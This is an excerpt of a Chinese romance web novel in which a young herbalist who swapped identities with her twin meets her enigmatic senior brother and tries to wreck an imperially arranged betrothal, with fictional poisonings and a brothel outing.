《病娇男主觊觎我八年》
1. 相见师兄
锦城云乐,桥上,路上人头攒动,李隐好不容易才从人群中挤出去,没走几步就撞到了一个人。
那人刚想训斥她,却在看清她面容时先是一愣,随后不可置信的道:“小姐?”
李隐心道:糟了。
遇到了自己年少时的贴身丫鬟了,出门不看黄历这回子又是栽了。
李隐尴尬一笑,道:“姑娘一定是认错人了,你家小姐在那里。”她说着看向了不远处,挥了挥手喊道:“李小姐。”
羽素闻言,向后一看,也没见到自家小姐,转头再回来时就发现方才面前的人早已经消失的无影无踪了。
可就在她刚刚嘟囔“小姐又到处乱跑”时,一转身时就见到了自己的小姐,她顿时吓了一大跳。
方才穿着浅色粗布衣裳的小姐,现在已经穿了绫罗绸缎了,黄衣金线,日下暗纹浮动,状似青云,金簪步摇,风来轻晃,步步生漪。
羽素顺了顺自己的胸前,她才道:“小姐,您这么短的时间就又换了一套衣服啊?”
裕陵闻言看着羽素问道:“你方才见着我了?”
羽素点了点头,裕陵心下了然,山中的自己那位妹妹方才应该下山来买药了。
裕陵走在了羽素的前面,边走边问道:“你可看清,方才我从哪里走的?”
羽素看着裕陵道:“小姐,您这是说什么话啊,您自己走的路都忘了?”
裕陵看向了人群多的地方,她道:“羽素,你不觉得方才的那人才是你的小姐吗?”
羽素一时更摸不着头脑了,她道:“小姐,您在说什么啊,您就是我的小姐啊。”
裕陵见着羽素一副不开窍的模样,轻轻摇了摇头,拿起了一个摊贩前的糖人,出了银子,递给了羽素道:“下次见到了穿粗布衣服的我记得拉住了。”
羽素闻言点了点头,她看到糖人时顿时双眼放光,接了过来认真的点了点头道:“小姐,我记住了。”
不远处,茶楼中,温幽情把玩着手中的玉盏,修长白皙的手摩挲着盏壁,“砰”的一声,玉盏被落到了桌上。
李隐也被这道声响给拉回了注意,转过头来,看着面前带着斗笠的人。
那人一身白衣,带着斗笠不见面容,唯一显露出来的手,白皙修长,不像一个练武的,倒像是一个书生的。
李隐双手拱拳,对着温幽情道:“多谢师兄,出手相助。”
温幽情闻言一笑,隔着白色斗笠的纱帐,李隐见不到那人的笑,但却听到了。
她这个神龙见首不见尾的师兄居然笑了,师父还说,这位师兄性子古怪,最讨厌的就是别人在他面前笑,不是一个好相处的主。
“见着了,记得绕道走,不然有你受的。”这句叮嘱在李隐的脑海中时不时的浮现。
温幽情就刚刚一笑后,便不说话了,李隐也闭了嘴不知说些什么才好,手上依旧维持着抱拳的动作。
气氛一下子陷入了尴尬,窗外人声鼎沸,窗内香炉紫烟,雾绕如缕,不闻人音。
李隐实在是受不了这个古怪的氛围了,刚想起身一走了之时,那人却开了口。
清润的声音响彻房中。
“你此次下山,又是为何?”温幽情指尖轻摩玉盏边缘问道。
这师兄管的还挺多,李隐道:“为了卖药换钱。”
温幽情摩挲着玉盏的手微微一停,他问道:“不是为了一桩婚事?”
李隐觉得这师兄问得莫名其妙的,她道:“我没有婚事啊,谁会娶一个喜欢制毒害人为乐的小村姑呢。”
温幽情闻言一笑道:“制毒害人?可我一路听闻的是你济世救人,被人们称赞为素衣圣手的美名。”他将玉盏轻轻一推。
玉盏“嗖”的一声如箭一般,却恰恰滚到了李隐的面前停住了。李隐看着玉盏有些不解,师兄这是让她倒水?
“这是?”李隐看着玉盏问道。
温幽情轻轻一笑道:“见了师兄,不倒茶,还想着让师兄来你给你倒茶吗?”
李隐这才想起来,师门虽然寒酸,但该有的规矩都有,尤其是尊师重道,敬茶为礼。
只不过之前都未曾正式见过,就把这个给抛之脑后了。
李隐伸手去拿茶壶,刚要碰到还差一指的距离时,就被人抓住了手腕,温幽情的手指冰凉,让李隐不由得打了一个激灵。
李隐看着自己手腕上的手道:“师兄这是?”还未等她说完,温幽情抓住她的手突然用力。
李隐心下一惊,足间想使劲,却最后又没有用力,单顺着这股力道了,那人将她半个人都快提到了桌上,隔着斗笠白色帷帐,李隐凑近了些,看着那人若隐若现的面容。
棱角分明,鼻梁高挺,如仙似玉,李隐心下的一个念头,就是白衣很衬他,她眼睛直勾勾的看着那人。
当真是好英俊的小郎君,隔着帷帐都如此美的梦幻,就是不知摘下帷帐,又是何等风景。
温幽情见状,也看向了她,李隐笑着,眨了眨眼睛道:“师兄还喝茶吗?”
温幽情顿时松了手道:“你不会武功?”
李隐点了点头道:“习武太苦了,我一个女孩子家家的学这个作何呢,单纯的想没苦硬吃?”
温幽情闻言一笑道:“你难道不是吗?”
李隐依旧面上笑着,但眼中已无笑意了,她确实习过武,当初还就是因为这个才跟着一个白胡子老头去了山里,和裕陵换了身份做一个“村姑”。
这个师兄对她而言和陌生人差不多,八年见了三回,每次就一眼,神神秘秘的跟个刺客一样。
习武的事,师父说了不能告诉第三个人,这师兄上来就试探,如果不是提前见过,李隐是真的怀疑这人是来弄死她的。
李隐手指轻轻摩挲着玉盏的杯壁,纤细的手指轻敲两下,这才将推到面前的玉盏推回了温幽情的面前,又起了身端着玉壶指尖压盖。
壶中水自壶口而出,热气腾腾,氤氲杯口,李隐倒完水,坐在了与温幽情相邻的位置,轻放玉壶,她伸手戳了戳温幽情面前玉盏,一笑道:“师兄,请喝茶。”
温幽情见状笑了,他道:“师妹,先喝,师兄突然不渴了。”
李隐道:“这怎么行呢,这可是师妹的敬茶啊,师兄不喝是不是不认可我这个师妹呢。”
温幽情闻言微微挑眉道:“那师妹还挺喜欢师兄的,还给师兄的茶里加了点东西。”
李隐笑容一僵,这人怎么真是的,
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不就是一点小小的毒药吗,又死不了,真是玩不起。
那人轻笑一声,拿起玉盏,到了嘴边,轻轻一吹,帷帐微动,如云似雾,像极了云卷云舒,这个师兄好像怪好看的。
李隐刚想说别喝算了,就见到那人一口喝了下去,“砰”的一声轻响,玉盏落地,温幽情吐出一口鲜血。
白色帷帐上立刻显出点点红色的血点,白中生红,如雪泥鸿爪般醒目,又如雪中寒梅般有些妖艳。
李隐倒是吓了一跳,她急忙凑了过去,从随身的瓶子中倒出一颗黑色的药丸,动作迅速的送了过去。
可就在掀开那人的帷帐时,一只骨节分明的手又再次抓住了她的手腕,这是?不想活了?
温幽情修长的手指摩挲着她的手腕,道:“我的演技是不是不错啊,师妹。”
最后两字,他说时含着笑意,像是捉弄般拖的很长。
李隐这回反应过来这个诈她,刚要收回手,却被那人给握住了,冰凉手指搭在脉上,他道:“你中毒了。”
李隐闻言先是一愣,随后看着温幽情道:“你号错脉了,我没中毒。”
她确实中毒了,但那种毒无解,听说温家的秘药可活死人肉白骨,但毕竟是温家,温家宫内有人,温玉兰一位金枝玉叶的贵妃,现任家主温澜官拜宰相,膝下就一独子。
为了一味药去冒险,她还没那么傻,她一把抽回了手道:“就算真中了,也不必劳烦师兄。”
温幽情闻言手指轻敲桌面道:“温家有一味药可以解你的无双毒。”
李隐看着温幽情笑道:“不劳烦师兄,我没中毒,面前我还有事,告辞。”说罢她就起身准备走,脚踏出房门时,却停下了步子,丢出了一瓶药。
温幽情伸手一把接住,见状他笑了笑,李隐,你还是没变。
李隐走远,一人才从屏风后出来,那人红衣长袍,他见到温幽情这个模样一下子没忍住,笑道:“哈哈哈,温幽情你这么怎么狼狈啊,你的故人当真是个妙人啊,妙啊,实在太妙了。”
温幽情闻言拿下斗笠,看着竹难任,目光一冷,他轻轻擦了擦唇边的血迹道:“怎么,你也喜欢?”
竹难任笑容一僵道:“哪里的话,我怎么敢对她有意思呢,我只是觉得她确实是个妙人,不做闺秀做村姑,有着一颗济世度人的心,却又表现自己像个恶人。”
温幽情沉下目光,想到了什么轻轻一笑。
竹难任见他这个模样轻轻的“咦”了一声,这会子真是太阳西边起来了,这人一天这样笑,通常都是要折磨人,这回居然是为了一个姑娘。
竹难任大为震撼,他轻摇折扇,道:“如果那位妙人,知道你真正的为人,你说她还会不会对你那样客气呢。”
他这话本是随口一说,但温幽情却是眉头微蹙,看着他目光不善,他不急不缓的说道:“你说的有道理,可知道我秘密的不就你一个人吗?”
竹难任忽觉不好,刚想翻窗而走时,一颗药丸就飞到了他的口中,药味散在嘴中,竹难任一手捂住自己的嘴道:“你你太黑心了吧,我们什么交情啊,至于吗?”
温幽情闻言轻轻挑眉道:“至于,这盘局我下了八年了,不能,因你而毁了。”
2. 婚约天降
李隐一出包间,下了楼,先是环顾四周,确定没有羽素等人的身影才大踏步迈入了人群群中。
走着没几步,就听着有人议论道,“听说,京城温家向圣上求娶了李家那个被退了婚的女儿。”
一个婆子闻言,凑了过去道:“李隐丫头?这不是疯了吧,那丫头刚被退婚,现在就是锦城的一个大笑话。”
李隐闻言也凑了过去,她又有一桩婚了,她怎么还不知道。
她凑了过去,问道:“婆婆,哪个温家啊。”
那位夫人一转身见着的是位扎着简单发髻,眉目清秀,面如远黛青山,朱唇白齿皓雪的姑娘一时心喜道:“傻丫头,京城有几个温家啊,自然是宫里有人的那位。”
说着她看着李隐赞不绝口道:“要我说啊,我倒是觉得姑娘比那李家小姐更漂亮,我这手上还有一桩婚事是个好人家,你若有意我倒是可以给你说过去,保证是个芝兰玉树的好公子哥。”
李隐笑了笑推辞道:“谢谢啊,我目前还没有出嫁的打算,倒是有出家的打算。”
这人的话光是第一句,李隐就知道不可信,裕陵和她长的一模一样,换了身份之后,亲近之人也没辨出真假。
那人啧了一声道:“姑娘啊,你年纪轻轻为何要出家呢,出家有什么好的,老是在野径山深,人际疏荒处。”
李隐点了点头,很是认同,她道:“这样不问世事才好啊,无忧无愁不烦闷,只乐只喜是逍遥。”
那人摇了摇头道:“荒唐,女子不嫁人这才是人生无意,一辈子愁苦凄清孤独一生啊。”
李隐听后只是一笑,道:“倒也不是吧,不过人各有自己的活法,您说的您认为的活法,我说的是我想要的活法。”
那人看着李隐嘟囔了句“真是年纪小,不知天高地厚。”
李隐也不恼,走到了条熟悉的路上,绕开人群,走上小路。
抛却嘈杂,步入寂静,沿着红墙,走到了一间小小的后门那里,轻敲三下,一人打开了门。
裕陵看着李隐道:“你还知道回来,我还以为你彻底的忘了。”
李隐看着那张和自己一样的脸道:“我怎么会忘了呢,现在不就是回来处理问题的吗?”
裕陵递出斗笠让李隐戴上,才牵着她的手走到了一处院落。
四周环竹,竹篁幽寂,翠绿苍茫,显着生机。
李隐隔着帷帐欣赏着绿竹,指尖轻轻一碰,触感温凉,这感觉倒是有点像一个人,刚刚见过的师兄。
一想到那人捉弄她,喷了口血,她就有点莫名的嫌弃,连带着对竹子都有点嫌弃了。
轻轻一碰就瞬间收回了手,裕陵将她的一举一动尽收眼底,她轻轻一笑,头上步摇轻摇,身上环佩作响。
她道:“你不是最喜竹,挺拔玉立,气魄含笑吗,如今这是不喜欢了?”
李隐闻言道:“不是不喜欢竹子,而是不喜欢一个人,那人太过……”一时间李隐也想不出一个什么词来形容,最后憋了半天都还是未有憋出来。
裕陵见状停下了步子,她回头看着李隐道:“你师兄?”
李隐点了点头问道:“你又是从何知晓的?”
轻风微来,竹叶轻晃沙沙作响,发丝微扬,步摇生漪叮咚出声。
金辉透过竹叶的缝隙轻轻而落,散在裕陵的衣裳,发梢上,她本就面如丹青,如今匿在竹林翠轩中就更如诗如画了。
李隐由衷感叹“还是美人称翠竹。”
裕陵闻言挑眉道:“你这是在变相的夸自己?”
李隐刚想反驳却也想了回来,她们两人本就长的一模一样,这样一说好像确实是在夸自己了。
裕陵轻轻敲了敲院中的一棵竹子道:“该回神了,妹妹,你和我说过的人这几年里只有师兄。”
李隐“哦”了一声,裕陵见着李隐这样有点没心没肺的样子,轻轻摇了摇头,拉着李隐进了房中。
一进房中,李隐就将斗笠拿下,惬意的躺在了床上,道:“事情,我听了一点,京城温家,你想不想嫁?”
裕陵闻言一笑道:“好妹妹,你只听了这一点?”纤细的手拿着一杯茶递到了李隐面前。
李隐笑着接过,浅酌一小口道:“还有我听漏的?”
裕陵点了点头坐到了床边道:“这次我估计是无法替你了,你也用我的身份活了八年,现在也该还回来了吧。”
李隐摇了摇头道:“不可,现在你是李小姐,我才是裕陵,况且我就是一个村姑样,做不了小姐类的人物,好姐姐,你就好人做到底吧。”
一边说着,她一边拉着裕陵衣摆的袖子,轻轻晃晃状似撒娇讨好。
裕陵将李隐手中的茶盏拿开,轻放在一旁的小桌之上,她道:“温澜的儿子,会窥探人心。”
李隐闻言一下坐起身来,“窥探人心,可有证据?”
裕陵摇了摇头,见着李隐有些着急的模样,她道:“京城的传闻是这样的。”
李隐沉思了一会道:“窥探人心多半是假,三年前我不也被冠上了这个名头,可我也不会,只会察言观色通过细微去见真章。”
李隐又看向了裕陵,眨了眨眼睛笑着道:“好姐姐,你帮帮我呗……”
裕陵摇了摇头道:“温家不比何家好对付,真出了什么差子,你我,甚至全家都得死。”
李隐陷入沉思,许久后,她认真道:“那我只要毁了这桩婚不就好了。”
裕陵道:“说的容易,可有对策?”
李隐点了点头道:“自然是有啊,不过……”她狡黠一笑凑到了裕陵的耳边说道。
裕陵也将身子凑了过去,闻言脸色微变,待李隐说完,她面露犹豫道:“这事,我做不来。”
李隐道:“我知啊,所以剩下的一个月里我替你,但到了时间必须还回来。”
裕陵点了点头道:“成交。”
她刚说完这句话,面前的人突然倒了下去,李隐的头在离床柱子还有一掌之距时,裕陵伸手托住了李隐的头。
她喃喃道:“倒是我多此一举了,你怎么这么信任我呢。”
房中燃起熏香,紫烟悄绕屋中,如丝如缕轻挠李隐的鼻尖,猛然窜上心头。
李隐羽睫轻颤,微微转醒,一醒来就立刻捂住了鼻子,这个熏香有一股淡淡的橘子味,李隐闻着就觉得有点恶心。
不知为何她总是受不了这股味道,一闻着就有点泛恶心。
起了身,才见自己正穿着一件青色衣,面料柔和,边有金线,显着贵气。
李隐伸了一个懒腰,又轻轻挥散眼前的一缕青烟,随意拿着桌上的两只玉簪盘发一插。
便连忙打开了门窗,风来轻过,拂过发梢,撩起衣角,竹香阵阵洗去浓香,轻香浅淡却韵味绵长。
天色此时,正日当空,遍地浮光,落在身上,倍感暖洋。
李隐不紧不慢的走着,刚出了院子就
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见到了一个迎面而来的熟人,羽素。
羽素见到李隐,先是一愣随后面露急切,她道:“小姐,怎么又穿的如此的素啊,往常就算了,可今天不可啊,今天可是一个大日子啊。”
李隐闻言道:“大日子,什么的日子?”
羽素语速急切的道:“前几日,降下圣旨,今日是温家来瞧人了。”
李隐点了点道“哦,我还以为什么大日子了,原来是这个啊,好说,就穿这个,刚刚好。”
羽素不可置信的一愣“啊?”上次小姐穿的也是这身然后砸自己和何家大公子的婚事,如今怕不是又要闹事了吧。
她一下急得跪了下来,拉着李隐的衣服道:“小姐,这回真不能闹啊,不然要没脑袋的啊。”
李隐见状一把扶住羽素,将人拉起来道:“我看起来有这么像个不懂大局,审时度势的人吗?”
羽素认真的点了点头。
李隐:“……”
羽素拉着李隐就想走到院子里去,但却被人一把拉住,李隐对着羽素道:“放心好了,这回真不闹,我不忘你的规矩,你也不能忘了我的规矩。”
羽素闻言看着李隐点了点头,小姐不让丫鬟进房,这是八年前定下的规矩,府中的下人都守着,自己刚刚一下子着急,差点就犯了错了。
李隐松开了拉着人的手,她轻轻摸了摸羽素的头道:“走了。”
羽素依旧忧心忡忡,再三犹豫后,她深吸一口气道:“小姐,这太素了,要不还是去夫人那里添点吧。”
李隐绕过拱门行到花圃,伸手摘了一株红色的山茶花较为随意的往头上一插道:“这样如何,够艳了吗?”
玉簪素雅,和着丹青点墨般的面容,也是极为相配,青衣墨发,其实要说不足也是那衣袖上的金线,过于亮眼,若是换作银线倒是更为和洽。
如松坚韧,如玉无瑕,眉眼含笑,温润流波,是一种不喧哗的美,美的无声,这样似乎倒也不错,但平添一朵艳花,艳是艳了就是打破了这种平衡,多了分俗气。
羽素知道小姐这多半是要捉弄她了。
但李隐问的真切,看着羽素似乎是希望得到夸赞,眼睛亮晶晶的。
羽素叹气一声,连忙将花拿了下来,她道:“还是就原样吧,突然感觉那样也挺好看的了。”
李隐一笑道:“嗯,现在你也有眼光了。”
羽素:“……”
七拐八绕,她们最终来到了客堂,在门外,羽素停了步子,就见到自家的小姐也停住了脚步,鬼鬼祟祟的躲到了门边。
看着那门角微露的绿色衣角,温幽情唇角微勾,身旁的竹难任也闭上了嘴,见二人不说话,李窗明也不说话了。
向着温幽情的视线看去,见到的是一道绿色的衣角。
李隐正将耳朵贴在门上时,这屋里就陷入死寂,刚想明白出了什么事,只一低头看到自己的裙角,便知晓了缘由。
这风来的可真巧,绿色的裙摆在风中调皮的动着,真是天在助她,正想着如何留个不好的印象呢。
她察觉到了目光,现在出去时机正好,于是她缓缓从门后探出脑袋,对着李窗明一笑道:“父亲。”
李窗明顿时脸色一白,用眼角的余光看向一旁坐着的两人,见到两人没什么怒意才微松一口气。
他向李隐传了个眼神,示意李隐过来。
李隐看着脑袋一歪问道:“父亲是想让我过来吗?”
3. 闹掉婚约
李窗明心下想砍死这个女儿的心都有了,他这个女儿平时温婉淑女可一到了大场合就特别喜欢整一出幺蛾子。
李隐笑着走了过去,路过温幽情时,她见着那人,剑心眉目,眼含笑意,脉脉含情,有一瞬的惊叹。
好俊俏,就是感觉上又有点像一个比较熟的人,师兄。
想到此处,李隐轻摇了一下头,天,这有点太可怕了,什么东西,什么人都能让她联想到那人。
而此情此景在别人眼中就又是另一副景象了。
李窗明觉得自己的老脸已经丢光了,他看了一眼竹难任,见那人面上一副笑意,缓了口气,对着李隐道:“快,见过温公子。”
他说这话时给李隐的意思是面前这位红衣的才是。
李隐点了点头,对着竹难任道了句,“见过,温公子。”她就笑着单单一句话,行礼什么全都没有。
竹难任一时笑出了声,拍了拍温幽情的肩膀道:“李小姐,当真是个妙人。”
李隐坐到了李窗明的身旁,她回道:“温公子,缪赞了。”
温幽情轻轻拍了拍竹难任的手,道:“敢问李姑娘可满意这桩婚事?”
李隐摇了摇头,待看到李窗明转过头来时,她又点了点头头道:“不满意,我觉得他不没有你俊俏,我喜欢俊俏的。”
她说着伸手指向竹难任,又从竹难任指向了温幽情。
竹难任闻言笑容一僵,这姑娘还真是敢如此直白的说,换作旁人温幽情估计都会让那人剜了双眼。
温幽情嘴角的弧度加大,他道:“姑娘眼光真好。”
李窗明额头上已经急得冒出了细密的汗珠,他递了李隐一个眼神。
李隐见状又道:“不过这位温公子长得也是有鼻子有眼睛的。”
温幽情闻言“嗯”了一声,竹难任道:“本公子难道不是如他一般风流倜傥?”
李隐一脸认真道:“难道公子没有鼻子眼睛吗?”
温幽情闻言一笑道:“如果姑娘不喜欢他,倒不如和我成亲如何?”
李隐闻言略作斟酌了一下,道:“可,这是圣上赐婚,你也能抢吗?”
温幽情修长分明的手指轻敲了敲,一旁的桌子道:“可以试试。”
李隐见着他那熟悉的动作就再次想到了那个所谓的师兄,她伸手轻轻揉了揉太阳穴道:“你若成功我就嫁你。”
温幽情道:“一言为定。”
李隐见他认真,圣上赐婚敢反就是敢谋反,敢不尊就是想诛九族,嫌命长,她轻轻一笑道:“好啊,一言为定,公子莫忘。”
竹难任见此看向了李隐又看向了温幽情,他现在真的是太佩服温幽情了,让人自己送上门来,还是他最有一手。
李窗明全程干笑着,头上汗珠细密,凭着这两人的对话,就已经够他们全家死一回了。
他看向了竹难任,就看到那人一副看好戏的模样,没有丝毫不高兴,一时间李窗明也不知道说该喜还是该忧。
他叹了口气,李隐突然看了过来,她对着李窗明一笑道:“父亲,我觉今日和这位公子相见甚欢,可否让女儿和这位公子出门一游?”
李窗明面露犹豫,这真是不是很合规矩。
但一人却说话了,竹难任道:“姑娘想,自然是可以的,对吗?”他说着看向了李窗明。
李窗明尴尬一笑,点了点头道“温公子发话了,自然是可以的了。”
李隐起了身拉住了温幽情的袖子道:“公子,请吧。”
温幽情看着被扯住的衣角,抬头又看向了对他笑的人,于是也起了身,任由李隐拉着他走。
看着两人走远,李窗明瞥了一眼不远处坐着的竹难任,那人没有要走的意思,李窗明道:“温公子不一起?”
竹难任笑着摇了摇头道:“我有事还想说说”他看向了李窗明,也看向了不远处的两人。
风来撩起衣角,发丝随风,李隐的一丝头发轻轻蹭过了温幽情的指尖,他看向李隐的眼神,暗了暗,随后淡淡一笑。
李隐觉察到那人的轻笑,牵着温幽情的衣袖,待他绕过拱门时便问道:“有什么这么好笑的。”
温幽情手指轻轻一勾,拦住了一缕李隐随风而动的头发,轻轻摩挲着,回道:“没什么。”
李隐不解,顿觉这人多半是个书呆子,尽是喜欢无趣的东西。
论世间上有趣的东西可多了,想到了什么她突然勾唇一笑道:“公子,花楼去过没?”
温幽情摩挲着手中的那缕发丝,轻轻一松,那缕发丝就顺着指间溜了出去,他顺着滑落的发丝看向了李隐在黑色如瀑的发丝中若隐若现的白皙脖颈。
薄唇微勾道:“姑娘想去?”
李隐点了点头,脚下依旧迈着步子,她回头对着温幽情道:“公子真聪明。”
温幽情伸手,挡住了一根将要划到李隐的树枝,鲜血顺着男人修长分明的手而下,从指缝到指尖。
一滴血落到了李隐的肩上,李隐瞥见一抹红色先是一怔,随后立即停下步子,松开了牵着的衣袖,将男人的手拿到了面前。
她神情认真,眼睛直直的看着温幽情手上那道冒着血的伤口道:“你不知道躲吗?”
这可不是什么简单的小花小草的树枝,这可是李隐上回回来时特意做的一个给何景留的一个小陷阱。
上面淬了毒,还是剧毒,除非一个时辰内吞下解毒丸,否则必死无疑,但解毒丸全给师兄了,眼下也还有另一个法子,她的血,她尝过百草,血液确实有一定的解毒功效。
李隐还是不由得头疼,早知这样就不走这条路了。
温幽情见着李隐懊悔的小表情不由再次一笑,他道:“无事,一点擦伤,姑娘下次小心点吧,不然就不是手了,是姑娘的脸了。如此好看的人脸毁了该多可惜。”
他说得诚心,李隐轻轻咬了咬朱色唇角,咬破了皮后,她将温幽情的手拿到面前道:“得罪了。”
话落对着伤口吻了上去,待着唇上的鲜血染上温幽情的伤口时,她才松开,伸手轻轻抹去了嘴角上残留的血。
不远处一人将这一幕看得清清楚楚,那人勾唇一笑便走了。
温幽情看了一眼不远处,又看向了面前擦着唇边血迹的人,唇瓣殷红,朱唇皓齿,倒是诱人。
有着一瞬,他看向李隐时的眼神,像极了猛兽看猎物时的模样。
眼神晦暗不明有如深潭,他微微垂眸掩去神情,对上了李隐那双关切的眼神。
李隐急切的问道:“可有头晕,恶心等症状。”
温幽情笑着摇了摇头道:“未有。”
闻言李隐才略微放下了心既然没有那多半就是管制住了,她道:“近日,不要生气,少活动,让体内的毒给清完。”
温幽情听得认真,道:“好。”
方才出了那件事,李隐现在只想赶快出去,她向温幽情伸出了手。
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温幽情见状,看着手上残留的血迹,又看向了李隐才微微挑眉,伸出了自己的手。
摸到手的那一刻,李隐先是一愣,触感凉凉的,和师兄差不多,但师兄武艺高强,定是不会犯方才那种小错误的。
李隐现在有点想收回手,这人会错了她的意,她是想继续牵着这人的衣袖的,而这人却以为是手。
真是……
李隐犹豫了一会后还是回握住了温幽情的手,温幽情看着身旁的人,道:“姑娘方才有些犹豫,是后悔向我递出了手?”
李隐答的直接不拐弯抹角道:“嗯,是,我其实是想牵你的衣袖的而非你的手。”
温幽情闻言盯着李隐的脖子道:“那和我牵着手,让姑娘吃亏了。”
李隐摇了摇头道:“我是觉得你吃亏了”毕竟如此俊俏的郎君,到哪里才能找到呢。
温幽情轻轻一笑。
不知不觉二人走出了府到了街上,街上的人少了大半。
李隐向着花楼而去,花楼有三层,每层的窗台上都装饰着花卉,隔着大老远都能闻到淡淡的脂粉香。
李隐拉着温幽情轻车熟路的走了进去,温幽情看向李隐的神情倒是有些复杂了。
温幽情的脚步不由得慢了几分,李隐丝毫未有察觉拉着人就上二楼的包间。
到了包间轻轻敲桌两下,一人就走了过来,那人穿着紫衣,一双眼睛含情脉脉,看向李隐时先是恭敬一笑,随后又看向了温幽情,顿时离不开眼了。
李隐挡在了温幽情的面前道:“何姑姑,我今天是带着我朋友和我一起来快活的,男女都要往好的挑。”
何淞,轻拿折扇微微捂嘴笑道:“姑娘是贵客,姑娘的朋友自然也是贵客,对待贵客,我们指定是要拿上最好的,姑娘,且放心。”她说完,笑着绕到了李隐的身边,轻轻拍了拍李隐的肩膀,向着温幽情抛了一个媚眼。
温幽情见状笑意有些收敛,李隐轻轻拍了拍何淞的手道:“这是我朋友,正经人,不许捉弄他。”
何淞笑了笑收了扇子,道:“行,你们先聊会儿,我去找人。”
说完这人便走了,房中只留下了两人。
屋内李隐松手,两人便凭桌对坐,李隐颇为客气的为温幽情倒了一杯水,将茶盏轻轻推到了温幽情的面前,道:“请吧,公子。”
温幽情见状,修长分明的手指附上盏壁,轻轻拿取,浅浅酌了一小口,他道:“李姑娘经常来这儿?”
茶盏被放到桌上发出一声较为清脆的声响,李隐点了点头道:“算是吧。”
温幽情闻言道:“姑娘,目前已有婚约在身,如今又来了,这种地方,恐怕会传出对姑娘名声不好的谣言。”
李隐颇为认同的点了点头道:“你说的对,但如果这样传的话,倒也对,确实不是谣言。”
温幽情看着李隐道:“姑娘就不怕让姑娘的未婚夫感到不快?”
李隐闻言沉思一会儿道:“那我会被杀掉吗?”
温幽情道:“可能。”
李隐又继续问道:“那我家的人呢?”
温幽情道:“也可能。”
李隐点了点头问道:“那他能不能只杀我一人。”
温幽情倒是被李隐的想法给逗笑了,他眉眼含笑道:“不就是一纸婚约吗,成亲不就好了,当成一笔交易,温澜的儿子是京城中美人榜第一,嫁给他姑娘不亏的。”
嫁给我,李隐,你不亏的。
4. 相逛花楼
李隐闻言,眉头微挑,她语气中略带质疑道:“一个男人上美人榜?”
温幽情道:“这美,意为好看,美人则意为好看之人,他品貌极佳,德品无双,称的起。”
李隐看着温幽情,柔和的光散在这人身上,如玉无瑕,面无疵,她轻轻一笑倒是觉得面前的这人比起方才见过的温公子更像是个美人。
温幽情见李隐嘴角上扬,不禁也轻扬嘴角。
李隐道:“公子说的有理,是我过于刻板,喜欢用固有的想法去看。”
温幽情闻言笑笑,嘴角的弧度加深,他道:“姑娘觉得我好看?”
李隐不做装藏,欣然点头道:“自然啊,公子长得挺赏心悦目,让人如沐春风。”
像个小白脸,特别像话本子里被娇蛮公主抢回去做驸马爷的探花郎。
温幽情伸出骨节分明的手指轻轻敲了敲桌子,一时发出几声轻响,李隐也回过了神来,看向了温幽情。
温幽情淡淡一笑,将手指向了门外,道:“李姑娘,人来了。”
李隐顺着温幽情的手指看去,映入眼帘的是一个身着绿衣,却又层层叠叠五颜六色的,在阳光的照耀下,浑身金灿灿的人。
这个审美,李隐不敢恭维,何淞这是找来了一个孔雀?
那人面容姣好,可涂满了粉黛,配着衣服,脸上红一块,绿一块,紫一块的,除此外,最出彩的便是一双含情脉脉的眼,与何淞倒是一般无二,这人看向了李隐,随后一笑,抛了一个媚眼。
李隐面上笑容微僵,但依旧笑得不失体面,她有些头皮发麻,何淞清楚她的喜好,最不喜欢的就是浓脂抹粉的人,或是穿着过于浮夸的人。
难不成这人不是给自己准备的,是他?
想到此处她看向了温幽情,温幽情正,手持茶盏,送至唇边,轻轻抿了一口茶水,动作规矩让人挑不出错处,还分外的有风度。
李隐看着温幽情就仿佛一下干枯的河遇到了清泉,细细的流着,慢慢的浸润,眼睛受到了洗礼。
果然,还是这样的美人养眼啊。
何玉容身姿窈窕,微提裙摆,越过门槛,缓步走到了李隐的身边,她浅笑着,眼睛直勾勾的看着李隐。
李隐觉察到了身边有人过来,她不由的往旁边挪了挪,那人也跟着往过来,眼看就要到了凳子边缘,李隐退无可退,她看向了身边近在咫尺的人道:“姑娘,别过来了,我要没地了,要掉下去了。”
何玉容闻言轻轻一笑,但也只是一笑,便没了下文。
李隐摸不清这人到底要干什么,看着那双含情脉脉的眼时,李隐心中有过一瞬的震撼,这种震撼是一种说不出缘由的,如无根之水从天而落。
她们见过?
显然是没有,但那人看着她就仿佛是见过多年,且多年未见,想将她好好看看,带着考究和一丝……心疼。
李隐垂下眼眸只当是自己弄错了,在山上待着多年,下山的次数不过尔尔,情感这个词对她都有点陌生了,她只会察言观色去考究。
何玉容伸出纤细的玉手轻轻拂上了李隐的脸,指尖微微触碰到时,却被另一只手抓住,下一刻,李隐抬起了头,她对着何玉容笑道:“好姐姐,怎么今日穿这身啊。”
何玉容的指尖在手被抓住的那一刻就蜷在了一起,眼底闪过一丝惊异,但面上不显,看着李隐她一笑道:“何姑姑说了,今日有贵客相临要隆重些,这身衣裳是最为华丽的了。”
李隐闻言松了手,这人她也没见过,估计多半是新人。
何玉容待李隐一松手就立即收回了手,手指紧紧的蜷缩着,看着李隐,轻轻的深吸一口气,呼出后,松了松手指。
李隐心下觉着怪异,微微留神着,看向了温幽情道:“公子,你可也需一个姑娘?”
温幽情闻言看着李隐,手上的茶盏,“叭嗒”一声落在了桌上,盏中已空,盏身轻晃三圈后便才安稳住。
他看向李隐时,如潭水一般的深的眸子,分外的清明,眼中尽是单纯,被这样看着李隐都觉着自己有点带坏良家公子的意思了,她这才觉方才所说的话有着疏漏,让人在此地易曲解。
便连忙解释道:“我不是那个意思,就是想问问你要不要人陪。”
温幽情看着她,真诚道:“李姑娘你不是正在陪我?”
李隐道:“我建议你还是叫一个,等会一起划拳,让闲时溜去岂不是更好?”
温幽情闻言若有所思的点了点头道:“好,都依姑娘的。”
李隐对着何玉容说道:“麻烦姑娘,将小宋姑娘,和小北姑娘一并叫来,并再命人送些上好的酒水来。”
何玉容看着李隐笑着点了点头,她看得仔细,藏在袖口中的手指,隔空悄悄的勾勒着李隐的大概轮廓,见着李隐微皱眉头这才缓缓起身道:“我……妾身这就去。”
李隐见着这人缓缓走远,不由得心情倒是有了几分莫名的沉重。
绿色的身影越来越小,最后入了拐角,李隐也收回了目光,望向了面前的茶盏,而在李隐撇过头后,红色楼柱露出的即将消失的绿色衣角却不动了。
一只纤细修长的手轻轻挑起了一端红色的帘布,她远远的看着了李隐一眼,随后悄悄放下,垂眸而去。
温幽情道:“姑娘方才其实可以留住那人。”
李隐闻言抬眼看向温幽情道:“我不认识她,不熟。”
温幽情看着李隐道:“她对你很熟。”
